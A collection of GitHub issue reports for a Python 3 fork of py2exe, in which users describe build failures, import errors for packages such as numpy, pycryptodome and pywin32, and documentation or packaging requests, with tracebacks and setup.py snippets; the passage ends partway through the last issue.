    error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.27.29110\\bin\\HostX86\\x64\\cl.exe' failed with exit code 2
    ----------------------------------------
ERROR: Command errored out with exit status 1: 'c:\users\ahmer\appdata\local\programs\python\python39\python.exe' -u -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\Ahmer\\AppData\\Local\\Temp\\pip-install-q16pc2ps\\py2exe\\setup.py'"'"'; __file__='"'"'C:\\Users\\Ahmer\\AppData\\Local\\Temp\\pip-install-q16pc2ps\\py2exe\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' install --record 'C:\Users\Ahmer\AppData\Local\Temp\pip-record-_lim2giy\install-record.txt' --single-version-externally-managed --compile --install-headers 'c:\users\ahmer\appdata\local\programs\python\python39\Include\py2exe' Check the logs for full command output.

Bundling too many data files crashes compilation

I'm trying to compile my project "Terraria-Colourfull-Chat", but problem 1) is it depends on an Auto Hot Key wrapper. Previously, I had used pyinstaller to make the executable, but it ended up being to big so I decided to try to use py2exe.
Now comes the main issue.
The AHK files that needed to be added into the app have to be added as "data files". Because py2exe doesn't have it's own way of recursively importing the contents of a folder, I made my own!
After 3 hours, it's finally finished, and it works flawlessly. Except, py2exe doesn't like it when you give it 46 different data files, with the entire data_files parameter being 7752 characters long.

When I try to build it, I get the following error:

running py2exe
Traceback (most recent call last):
  File "c:\Users\-REDACTED USERNAME-\Documents\GitHub\terrariaColorfullChat\python37venv\lib\site-packages\py2exe\mf3.py", line 706, in __code__
    optimize=self.__optimize__)
  File "__SCRIPT__.pyc", line 6
    <<<<<<< Updated upstream
     ^
SyntaxError: invalid syntax

Environment

python 3.7.7
py2exe 2019.4.18
Windows 10.0.19041 Build 19041

Replicate

Attempt to compile the development branch of my project, with my custom setup.py

git clone --branch development https://github.com/PinkDev1/Terraria-Colourfull-Chat.git
cd Terraria-Colourfull-Chat
py 3.7 -m pip install -r requirements.txt
py -3.7 setup.py py2exe

Make sure to replace the current path in line 54 of setup.py with the actual path of where you have the AHK Wrapper's templates folder is. Although it is not explicitly in the instructions above, I recommend installing the requierements.txt while in a python venv.

I have no clue as to the internal cause of the error I described at the beginning. Any comments are welcomed

importing PYD file from pycryptodome

hello,
When pycryptodome is used with py2exe it cant import pyd file by _raw_api.pyc (bundle_files must be <3)
More info at https://python-forum.io/Thread-Py2exe-and-pycryptodome
Error log:
Traceback (most recent call last): File "test.py", line 9, in <module> File "<frozen importlib._bootstrap>", line 983, in _find_and_load File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked File "<frozen importlib._bootstrap>", line 668, in _load_unlocked File "<frozen importlib._bootstrap>", line 638, in _load_backward_compatible File "zipextimporter.pyc", line 87, in load_module File "Crypto\Cipher\__init__.pyc", line 27, in <module> File "<frozen importlib._bootstrap>", line 983, in _find_and_load File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked File "<frozen importlib._bootstrap>", line 668, in _load_unlocked File "<frozen importlib._bootstrap>", line 638, in _load_backward_compatible File "zipextimporter.pyc", line 87, in load_module File "Crypto\Cipher\_mode_ecb.pyc", line 47, in <module> File "Crypto\Util\_raw_api.pyc", line 308, in load_pycryptodome_raw_lib OSError: Cannot load native module 'Crypto.Cipher._raw_ecb': Trying '_raw_ecb.cp37-win_amd64.pyd': cannot load library 'C:\xxx\test.exe\Crypto\Util\..\Cipher\_raw_ecb.cp37-win_amd64.pyd': error 0x7e. Additionally, ctypes.util.find_library() did not manage to locate a library called 'C:\\xxx\\test.exe\\Crypto\\Util\\..\\Cipher\\_raw_ecb.cp37-win_amd64.pyd', Trying '_raw_ecb.pyd': cannot load library 'C:\xxx\test.exe\Crypto\Util\..\Cipher\_raw_ecb.pyd': error 0x7e. Additionally, ctypes.util.find_library() did not manage to locate a library called 'C:\\xxx\\test.exe\\Crypto\\Util\\..\\Cipher\\_raw_ecb.pyd'

File exist and path is right

py2exe does not like anaconda's pywintypes.dll

Seeing the error:

  File "C:\ProgramData\Miniconda3\lib\site-packages\py2exe\mf3.py", line 708, in __code__
    raise RuntimeError("should read __file__ to get the source???")

Which I can work around by changing:

                elif hasattr(self, "__file__") and not self.__file__.endswith(".pyd"):

to:

                elif hasattr(self, "__file__") and not (self.__file__.endswith(".pyd") or self.__file__.endswith(".dll")):

While this works, it seems odd - so I'm not sure if this is the correct solution.

sqlite3.dll not included

Using py2exe-0.9.3.2-cp37-none-win32.whl I'm not seeing sqlite3.dll included when having:

{ 'py2exe':
  {
    'packages': [
      'sqlite3'
    ]
  }
}

in the options passed to setup(). Files like _sqlite3.pyc and sqlite3/dump.pyc are making it into the library.zip, but not the .dll from sys.base_prefix\DLLs\sqlite3.dll.

I guess something needs adding to hooks.py to pick it up? Literally the only mention of 'dll' in the full setup.py is to include an unrelated local copy of WinSparkle.dll. No other mentions of sqlite in setup.py either.

updates to readme

While following the build instructions from the readme file I stumbled upon some issues:

Link to VC++ build tools is broken

I found the required information on https://wiki.python.org/moin/WindowsCompilers#Microsoft_Visual_C.2B-.2B-_14.2_standalone:_Build_Tools_for_Visual_Studio_2019_.28x86.2C_x64.2C_ARM.2C_ARM64.29
instead.

Had to install some packages.

Could you include the necessary dependencies in the readme file?
Here is what I had to install into a fresh python 3.7 windows installation:

  • setuptools (was actually preinstalled, but could be mentioned anyway)
  • pefile
  • cachetools
  • wheel

For newbies you could include the installation instructions like this:
pip3 install setuptools wheel pefile cachetools

Thank you very much for your effort in keeping py2exe alive! Please keep up the good work.

Fails when __file__ exists and has .dll extension

Branch 3.8 version Latest commit 1ec361d on Oct 12 downloaded as zip and pip installed.

Trying to build a project which includes pywintypes raises an error:

File "C:\Python38\lib\site-packages\py2exe\mf3.py", line 708, in code
raise RuntimeError("should read file to get the source???")
RuntimeError: should read file to get the source???

Debugging this the value of file in this case is: 'c:\\Python38\\lib\\site-packages\\pywin32_system32\\pywintypes38.dll' which obviously fails the test __file__.endswith(".pyd") on line 706.

py2exe hangs in dllfinder.py

I am running py2exe 0.9.3.0 using the wheel file with Anaconda 3-2018.12 (Python 3.7). As a first test I followed the steps here http://www.py2exe.org/index.cgi/Tutorial. Python hangs when I run the setup script. The issue appears to be in bind_image in dllfinder.py. I added some debug to print the imagename variable and it prints the following:
c:\temp\Continuum\anaconda3\DLLs\select.pyd
c:\temp\Continuum\anaconda3\VCRUNTIME140.dll
c:\Windows\system32\WS2_32.dll
c:\Windows\system32\KERNEL32.dll

I am running on 64bit Windows 7.

Thanks for your help.

IndexError: tuple index out of range on 0.9.2.2 and 0.9.3.0 py2exe with Python 3.6.

Thanks for working to get py2exe working with Python 3.5-3.7!!

I was hoping that your version would solve my problem with py2exe. However, I am getting the same IndexError I had running with py2exe 0.9.2.2 and Python 3.6 and Windows 10. I have VS Community 2017. I don't have any immediate ideas to offer now, as I have been fighting this error in py2exe for some time. I have been working between Python 2.7, 3.4, 3.6, and 3.7 and in addition to py2exe, with pyinstaller, and cx_Freeze. Along the way I realized the issues with the versions of Python 3 - that they are quite different. I am determined, and I think getting closer, but still not successful. So I am sharing both py2exe versions tracebacks (and my setup.py code) in case you can see something there that is useful for this effort. Each is separated by #######.

My setup.py file code:

`from distutils.core import setup
import py2exe, sys, os
import glob

sys.argv.append('py2exe')

setup(
options = {'py2exe': {'bundle_files': 3, 'compressed': True}},
windows = [{'script': "main.py"}],
data_files = ['C:/WINDOWS/system32/OLEAUT32.dll','C:/WINDOWS/system32/USER32.dll', 'C:/WINDOWS/system32/IMM32.dll',
'C:/WINDOWS/system32/SHELL32.dll', 'C:/WINDOWS/system32/KERNEL32.dll',
'C:/WINDOWS/system32/COMDLG32.dll', 'C:/WINDOWS/system32/COMCTL32.dll',
'C:/WINDOWS/system32/ADVAPI32.dll', 'C:/WINDOWS/system32/WS2_32.dll',
'C:/WINDOWS/system32/GDI32.dll', 'C:/WINDOWS/system32/VERSION.dll',
'C:/WINDOWS/system32/ole32.dll',("Microsoft.VC120.CRT", glob.glob(r'C:/Program Files (x86)/Microsoft Visual Studio 12.0/VC/redist/x86/Microsoft.VC120.CRT/.'))],
zipfile = None,
)
`
#######

The tracebacks are not identical:

Running in VS command prompt with py2exe 0.9.3.0 and Python 3.6, in my apptest folder:
command:
E:\A_ONE_CODE\4-6-19-AppBuildingTest\py2exe>py -3.6 -m py2exe setup.py

Traceback (most recent call last):
File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64\lib\runpy.py", line 193, in _run_module_as_main
"main", mod_spec)
File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64\lib\runpy.py", line 85, in run_code
exec(code, run_globals)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe_main
.py", line 8, in
build_exe.main()
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\build_exe.py", line 141, in main
builder.analyze()
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\runtime.py", line 160, in analyze
self.mf.import_hook(modname)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 120, in import_hook
module = self._gcd_import(name)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 274, in _gcd_import
return self._find_and_load(name)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 357, in _find_and_load
self._scan_code(module.code, module)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 388, in _scan_code
for what, args in self._scan_opcodes(code):
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 417, in _scan_opcodes
yield "store", (names[oparg],)
IndexError: tuple index out of range

#######

Running in Idle with py2exe 0.9.2.2 and Python 3.6, in apptest folder E:\A_ONE_CODE\4-6-19-AppBuildingTest\py2exe>

On the IDLE toolbar: hit 'Run' => 'Run Module' on open setup.py file

Traceback (most recent call last):
File "E:\A_ONE_CODE\4-6-19-AppBuildingTest\py2exe\setup.py", line 16, in
zipfile = None,
File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64\lib\distutils\core.py", line 148, in setup
dist.run_commands()
File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64\lib\distutils\dist.py", line 955, in run_commands
self.run_command(cmd)
File "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64\lib\distutils\dist.py", line 974, in run_command
cmd_obj.run()
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\distutils_buildexe.py", line 188, in run
self._run()
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\distutils_buildexe.py", line 267, in _run
builder.analyze()
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\runtime.py", line 160, in analyze
self.mf.import_hook(modname)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 120, in import_hook
module = self._gcd_import(name)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 274, in _gcd_import
return self._find_and_load(name)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 357, in _find_and_load
self._scan_code(module.code, module)
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 388, in _scan_code
for what, args in self._scan_opcodes(code):
File "C:\Users\user\AppData\Roaming\Python\Python36\site-packages\py2exe\mf3.py", line 417, in _scan_opcodes
yield "store", (names[oparg],)
IndexError: tuple index out of range

SystemError: <method 'load_module' of 'zipimport.zipimporter' objects> returned NULL without setting an error

Hi,

When using a Py2Exe created exe in a Windows 7 environment I get a system error on webdav3\client.pyc.
What can I do to overcome this error?

Pyton code:

from webdav3.client import Client
....
options = {
'webdav_hostname': i_host,
'webdav_login': i_login,
'webdav_password': i_password
}
# use the webdav client
client = Client(options)
client.verify = False # To not check SSL certificates (Default = True)

Setup:

Tried setup with explicit package
webdav3 is in folder ... ...Python37\Lib\site-packages
folder is in path

from distutils.core import setup
import py2exe

setup( console=[{ "script": 'cpy2webdav.py'},],
options={"py2exe": {
"packages": ['webdav3'],}})

Error:

Traceback (most recent call last):
File "cpy2webdav.py", line 17, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
File "webdav3\client.pyc", line 12, in
File "", line 983, in _find_and_load
File "", line 967, in _find_and_load_unlocked
File "", line 668, in _load_unlocked
File "", line 638, in _load_backward_compatible
SystemError: <method 'load_module' of 'zipimport.zipimporter' objects> returned NULL without setting an error

Missing run-py3.8-win32.exe

Hi,
I'm using a home built python and py2exe installed from source.
The py2exe build seems to work just fine, but when I try to run it I get the following error.
We've tested this on both python 3.7.4 and 3.8.0
py2exe version is 0.9.8.2

Building 'dist\test.exe'.
error: [Errno 2] No such file or directory: 'C:\\Users\\Administrator\\test\\third-party\\Python-3.8.0\\lib\\site-packages\\py2exe-0.9.3.2-py3.8.egg\\py2exe\\run-py3.8-win32.exe'
NMAKE : fatal error U1077: 'C:\Users\Administrator\test\third-party\Python-3.8.0\PCbuild\win32\python.exe' : return code '0x1'
Stop.

Anybody know what might be up?
The error is correct. The file run-py3.8-win32.exe is in fact not there

Error upon installing py2exe

Hello,

I am recieving the following error by running the command pip install py2exe.

ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.

I am using google colab, any idea how I can solve this problem?

Thanks

Failing to build py2exe on python3.8

When using python3.8 (x64) with the following command:

python.exe setup.py bdist_wheel

it comes to the an error:

start.obj : error LNK2001: unresolved external symbol _Py_Dealloc
build\lib\py2exe\run-py3.8-win-amd64.exe :fatal error LNK1120: 1 unresolved externals

(I used the exact same procedure with python3.7 and it works)

Bundle everything into an EXE file using bundle_files=1 option

Hi,

We have moved our code from python 2 to python 3 and wanted to create our program EXE file using py2xe because it is faster than pyinstaller when launching. Thanks for making it possible to work in newer python 3 versions.

I am trying to generate a very very basic ".py" and I am able to generate an EXE file, but some DLLs are out of the EXE file. I am using "bundle_files = 1" in setup options.

Is it not possible now to bundle everything into an EXE file?

Thanks in advance,
Ivรกn

FileNotFoundError: Could not find module 'geos_c.dll' (or one of its dependencies). Try using the full path with constructor syntax

Hello,
I have developed a script that uses among others the package shapely, and I have created a .exe file of my main.py with py2exe. The issue is when I try to execute my main.exe file that results in this error:

FileNotFoundError: Could not find module 'geos_c.dll' (or one of its dependencies). Try using the full path with constructor syntax.

I precise that the shapely package works correctly when I launch main.py but it doesn't work when I execute main.exe, so I suppose that the "py version" finds the geos_c.dll without any issue.

I have tried to:

  1. add shapely and or geos in my setup.py;
  2. reinstall shapely with the wheel instead that pip;
  3. add an env variable with the path of the file geos_c.dll;

here is my setup.py:

from distutils.core import setup
import py2exe

setup(
windows=[{'script': 'main.py'}],
options={
'py2exe':
{
'includes': ['lxml.etree', 'lxml._elementpath'],
}
}
)

Do you guys think that this issue could come from py2exe?

pandas or matplotlib get "attempted relative import beyond top-level package" error

hello, i am a new programmer. i want to write a tools then share it with othersใ€‚
the python version is: Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
py2exe version is: 0.9.3.2
when i write a program with pandas or matplotlib package๏ผŒthen package it using py2exe,i got a error like this:
File "C:\Program Files (x86)\Python36-32\lib\site-packages\py2exe\mf3.py", line 215, in _resolve_name
raise ValueError('attempted relative import beyond top-level package')
ValueError: attempted relative import beyond top-level package.

my program is a test,no meaningfull functions in it,as follows:
import matplotlib.pyplot as plt
input('pause')
my setup file's content is:
from distutils.core import setup
import py2exe
setup(console=['demo_py2exe_python3.py'])
If anyone could help me?thanks very much.

SystemError building with pyproj

Picking up on discussion from #18, I was able to get a few packages to work by specifying the package names in the options, but one it did not work for is pyproj.

On Python 3.7.x (32 and 64-bit), same setup as in #18, but with pip install pyproj==2.2.2 to get a windows wheel. The following is the output of the resulting exe, with a bonus warning about distutils which I don't know is related. The last import, pyproj._crs is a pyc in the zip that loads a pyd outside the zip.

...\py2exe_zipimport_bug\dist\library.zip\distutils\__init__.py:15: UserWarning: The virtualenv distutils package at %s appears to be in the same location as the system distutils?
Traceback (most recent call last):
  File "foo.py", line 1, in <module>
  File "<frozen importlib._bootstrap>", line 983, in _find_and_load
  File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 668, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 638, in _load_backward_compatible
  File "C:\Users\nick\.virtualenvs\tmp-b1da4736-4c9a-4313-808c-4bdae17f2fdb\lib\site-packages\pyproj\__init__.py", line 77, in <module>
    from pyproj.crs import CRS  # noqa: F401
  File "<frozen importlib._bootstrap>", line 983, in _find_and_load
  File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 668, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 638, in _load_backward_compatible
  File "C:\Users\nick\.virtualenvs\tmp-b1da4736-4c9a-4313-808c-4bdae17f2fdb\lib\site-packages\pyproj\crs.py", line 36, in <module>
    from pyproj._crs import CoordinateOperation  # noqa
  File "<frozen importlib._bootstrap>", line 983, in _find_and_load
  File "<frozen importlib._bootstrap>", line 967, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 668, in _load_unlocked
  File "<frozen importlib._bootstrap>", line 638, in _load_backward_compatible
SystemError: <method 'load_module' of 'zipimport.zipimporter' objects> returned NULL without setting an error

runtime.py fails if a Lib directory is CWD

I'm using py2exe-0.9.3.2-cp37-none-win32.whl due to issue #16

At the point where libs would be copied in I'm seeing:

Traceback (most recent call last):
  File "cp37-setup.py", line 270, in <module>
    options = OPTIONS
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\distutils\core.py", line 148, in setup
    dist.run_commands()
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\distutils\dist.py", line 966, in run_commands
    self.run_command(cmd)
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\distutils\dist.py", line 985, in run_command
    cmd_obj.run()
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\site-packages\py2exe\distutils_buildexe.py", line 192, in run
    self._run()
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\site-packages\py2exe\distutils_buildexe.py", line 273, in _run
    builder.build()
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\site-packages\py2exe\runtime.py", line 264, in build
    self.copy_files(destdir)
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\site-packages\py2exe\runtime.py", line 536, in copy_files
    os.makedirs(os.path.dirname(extdlldir), exist_ok=True)
  File "C:\Users\Athan\AppData\Local\Programs\Python\Python37-32\lib\os.py", line 221, in makedirs
    mkdir(name, mode)
FileNotFoundError: [WinError 3] The system cannot find the path specified: ''

This appears to be caused because os.path.dirname(extdlldir), when extdlldir is within the current working directory, returns '', and os.makedirs() doesn't like that. It's simple to add a test:

535             dst = os.path.join(extdlldir, name)
536             if os.path.dirname(extdlldir) != '':
537                 os.makedirs(os.path.dirname(extdlldir), exist_ok=True)
538             if self.options.verbose:```

Pyside2 / Qt for python compatibility

Hello,
I find myself in a situation somewhat similar to nvda project's (described in nvaccess/nvda#8375).
I found your fork through the above mentionned issue and this is great news for me.
However, I couldn't find the information about the compatibility of this fork with Pyside2 (Qt for python). Is it compatible ?
Thank you in advance for your answer.

Failure to import numpy after py2exe

Hi I have another issue where the compiled application fails to import numpy even though the py2exe process seems successful

my test3.py:

import numpy
print('hello')

and my py2exe_test3.py:

from distutils.core import setup
import py2exe #@UnusedImport
setup( console=[{ "script": "test3.py",},],
       options={"py2exe": {
            "packages": ['numpy'],
       }})

and I run:
python py2exe_test3.py py2exe
I get the following message when trying to run the resulting test3.exe:

Traceback (most recent call last):
  File "C:\Projects\pyenv\lib\site-packages\numpy\core\__init__.py", line 40, in <module>
    from . import multiarray
  File "C:\Projects\pyenv\lib\site-packages\numpy\core\multiarray.py", line 12, in <module>
    from . import overrides
  File "C:\Projects\pyenv\lib\site-packages\numpy\core\overrides.py", line 6, in <module>
    from numpy.core._multiarray_umath import (
  File "<loader>", line 10, in <module>
  File "<loader>", line 8, in __load
ImportError: (DLL load failed: The specified module could not be found.) 'C:\\Projects\\code\\dist\\numpy.core._multiarray_umath.pyd'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "test3.py", line 1, in <module>
  File "C:\Projects\pyenv\lib\site-packages\numpy\__init__.py", line 142, in <module>
    from . import core
  File "C:\Projects\pyenv\lib\site-packages\numpy\core\__init__.py", line 71, in <module>
    raise ImportError(msg)
ImportError:

IMPORTANT: PLEASE READ THIS FOR ADVICE ON HOW TO SOLVE THIS ISSUE!

Importing the multiarray numpy extension module failed.  Most
likely you are trying to import a failed build of numpy.
Here is how to proceed:
- If you're working with a numpy git repository, try `git clean -xdf`
  (removes all files not under version control) and rebuild numpy.
- If you are simply trying to use the numpy version that you have installed:
  your installation is broken - please reinstall numpy.
- If you have already reinstalled and that did not fix the problem, then:
  1. Check that you are using the Python you expect (you're using C:\Projects\code\dist\test3.exe),
     and that you have no directories in your PATH or PYTHONPATH that can
     interfere with the Python and numpy versions you're trying to use.
  2. If (1) looks fine, you can open a new issue at
     https://github.com/numpy/numpy/issues.  Please include details on:
     - how you installed Python
     - how you installed numpy
     - your operating system
     - whether or not you have multiple versions of Python installed
     - if you built from source, your compiler versions and ideally a build log

     Note: this error has many possible causes, so please don't comment on
     an existing issue about this - open a new one instead.

Original error was: (DLL load failed: The specified module could not be found.) 'C:\\Projects\\code\\dist\\numpy.core._multiarray_umath.pyd'

My pip freeze:

numpy==1.16.2
opencv-python==4.0.0.21
Pillow==6.0.0
py2exe==0.9.3.0
pyserial==3.4
pywin32==224
reportlab==3.5.18
six==1.12.0
wxPython==4.0.4
xlwt==1.3.0

And Python version:
Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)] on win32

Document all `py2exe` settings in `setup.py`

Wiki is nice (although there is also one that should be disabled in GitHub settings). There is still a need for a proper documentation that can be synced with py2exe releases.

For example, in the tutorial I could not find a link to the all py2exe specific options added to setup(). What I needed, however, is this block.

py2exe_options = dict(
packages = [$packages],
## excludes = "tof_specials Tkinter".split(),
## ignores = "dotblas gnosis.xml.pickle.parsers._cexpat mx.DateTime".split(),
## dll_excludes = "MSVCP90.dll mswsock.dll powrprof.dll".split(),
optimize=$optimize,
compressed=$compressed, # uncompressed may or may not have a faster startup
bundle_files=$bundle_files,
dist_dir=$destdir,
)
"""
SETUP = """
# Some options can be overridden by command line options...
setup(name="name",
# console based executables
console=[$console],
# windows subsystem executables (no console)
windows=[$windows],
# py2exe options
options={"py2exe": py2exe_options},
)
"""

It took a while to figure out that console= is py2exe specific.

from distutils.core import setup
import py2exe

setup(console=['hello.py'])

py2exe crashes on use

When I attempt to use py2exe on my program, I get the following error:

Traceback (most recent call last): File "setup.py", line 4, in <module> setup(console="main.py") File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\setuptools\__init__.py", line 145, in setup return distutils.core.setup(**attrs) File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\distutils\core.py", line 148, in setup dist.run_commands() File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\distutils\dist.py", line 966, in run_commands self.run_command(cmd) File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\distutils\dist.py", line 985, in run_command cmd_obj.run() File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\distutils_buildexe.py", line 188, in run self._run() File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\distutils_buildexe.py", line 267, in _run builder.analyze() File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\runtime.py", line 160, in analyze self.mf.import_hook(modname) File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\mf3.py", line 120, in import_hook module = self._gcd_import(name) File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\mf3.py", line 274, in _gcd_import return self._find_and_load(name) File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\mf3.py", line 357, in _find_and_load self._scan_code(module.__code__, module) File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\mf3.py", line 388, in _scan_code for what, args in self._scan_opcodes(code): File "C:\Users\Andy\AppData\Local\Programs\Python\Python37\lib\site-packages\py2exe\mf3.py", line 417, in _scan_opcodes yield "store", (names[oparg],)

The command I am using is python setup.py p2exe. Here is the file:

`
from setuptools import setup
import py2exe

setup(console="main.py")
`

Custom Boot Script not supported

After digging through the code a bit it seems like custom_boot_script is not currently a supported feature on this fork, but I wanted to reach out and double check just in case I was missing something.
This is a feature we were using on a previous version and I'd be interested to know if there was a technical limitation or just resource/time limitation that prevented it from being added. Just want to save myself some pain before I work on a PR or fork.
Thanks!

Impossible to include pywin32 pythoncom in a project

I stumbled upon this issue while working on NVDA. For us, it is no longer that much of a problem, since we decided to stop using pywin32.

Pywin32 has a library pythoncom, which if imported, is magically changed into a module referencing pythoncom37.dll (on python 3.7). However, this conflicts with runtime.Runtime.copy_files where for every python module without code, an assertion is made for the .pyd extension:

                if hasattr(mod, "__file__"):
                    assert mod.__file__.endswith(EXTENSION_SUFFIXES[0])

It looks like distutils_buildexe contains some commented out code that handles these cases correctly, but this doesn't seem to have been ported to the Python 3 version.

COM server not working

I want to implement this DCOM:
https://github.com/emaimone/COMserver
This is my Setup.py:

# Created by: python.exe -m py2exe COMbuilder.py -W setup.py

from distutils.core import setup
import py2exe

class Target(object):
    def __init__(self, **kw):
        self.__dict__.update(kw)

    def copy(self):
        return Target(**self.__dict__)

    def __setitem__(self, name, value):
        self.__dict__[name] = value

COMbldrObj = Target(
    script="COMbuilder.py", 
    other_resources = []
    )

py2exe_options = dict(
    packages = [],
    optimize=0,
    compressed=False, 
    bundle_files=3,
    dist_dir='dist03',
    )

setup(name="name",
      console=[COMbldrObj],
      ctypes_com_server=["COMbuilder"],
      options={"py2exe": py2exe_options},
      )

The distribution folder is generated with no errors, and the registering process of the COM server also goes well:

.\dist03\COMbuilder.exe --regserver

but the COM registered in Windows does not work. The local path is missing when I check its properties, and it fails when accessed from a Windows app, via VBA.

I have been looking at the py2exe code for a while now, trying to figure out anything stupid I may be doing, with no success
Thank you
Enzo

Error when building dist folder

Hi @albertosottile , your project is great. Unfortunately, I have met some problems when I complied with it. The error is:
Building 'dist\app.exe'.
error: [WinError 87] The parameter is incorrect.

My setup.py file contains:

from distutils.core import setup
import py2exe
setup (windows = [{"script":'app.py', "icon_resources":[(1,"0.png")]}])

My pip list:

Click 7.0
cycler 0.10.0
decorator 4.4.1
filterpy 1.4.5
fire 0.2.1
Flask 1.1.1
Flask-Cors 3.0.8
imageio 2.6.1
itsdangerous 1.1.0
Jinja2 2.10.3
joblib 0.14.0
kiwisolver 1.1.0
llvmlite 0.30.0
MarkupSafe 1.1.1
matplotlib 3.1.2
networkx 2.4
numba 0.46.0
numpy 1.17.4
opencv-python 4.1.2.30
pandas 0.25.3
Pillow 6.2.1
pip 19.2.3
py2exe 0.9.3.2
pyparsing 2.4.5
PyQt5 5.13.2
PyQt5-sip 12.7.0
pytesseract 0.3.0
python-dateutil 2.8.1
pytz 2019.3
PyWavelets 1.1.1
PyYAML 5.2
scikit-image 0.16.2
scikit-learn 0.21.3
scipy 1.3.3
setuptools 41.2.0
six 1.13.0
termcolor 1.1.0
terminaltables 3.1.0
torch 1.3.1
torchvision 0.4.2
tqdm 4.40.0
Werkzeug 0.16.0

How I can solve this. Hope to hear from you soon. Thank you.

Publish on PyPI

I think this is the only serious fork of Py2exe that's getting recent attention. Have you considered trying to claim the py2ee project on PyPI so we can get it from there as well?

Missing Modules are output when multiprocessing is import

Hello.
I am creating a Python program and converting it to an exe file in the following environment.

  • Windows10 64bit
  • Python 3.7.9
  • py2exe 0.10.1.0 (py2exe-0.10.1.0-cp37-none-win32.whl)
C:\>pip3 list
Package     Version
----------- -------
ezdxf       0.14.2
geomdl      5.3.0
ordereddict 1.1
pip         20.1.1
py2exe      0.10.1.0
pyparsing   2.4.7
pyreadline  2.1
pywin32     300
setuptools  47.1.0
wheel       0.36.2

The created python program itself is working fine,
I found that the following warning occurs when converting using py2exe.

#!python3.7
# coding: utf-8

from distutils.core import setup
import py2exe

option = {
    'compressed': 1,
    'optimize': 2,
    'bundle_files': 3,
}

setup(
    options = {
        'py2exe': option,
    },
    console = [
        {'script': 'program.py'}
    ],
    zipfile = None,
)
  1 missing Modules
  ------------------
? multiprocessing.Pool                imported from multiprocessing.context

The following is an example of a simple program that causes a warning when converting with py2exe.

from multiprocessing import Pool

def sub(x):
    return x * x


def main():
    p = Pool(4)
    result = p.map(sub, range(10)) 
    print(result)


if __name__ == "__main__":
    main()

When using multiprocessing, the output is that the module cannot be found.
Is it a phenomenon caused by the following problems?

The modulefinder does not fully support PEP420 implicit namespace packages.

I would like to use the exe file after removing this warning if possible.
If it's difficult to get rid of the warning, is it okay to ignore this warning?

assertion failure when importing a specific module from wxPython

Hi
This is just what I was looking for: a py2exe port for Python3.6
I'm having an issue compiling my software and have narrowed it down to a simple test case
see the attached test.py prints 'hello' to the screen
but compiling it using py2exe 0.9.3.0 fails with the following message:


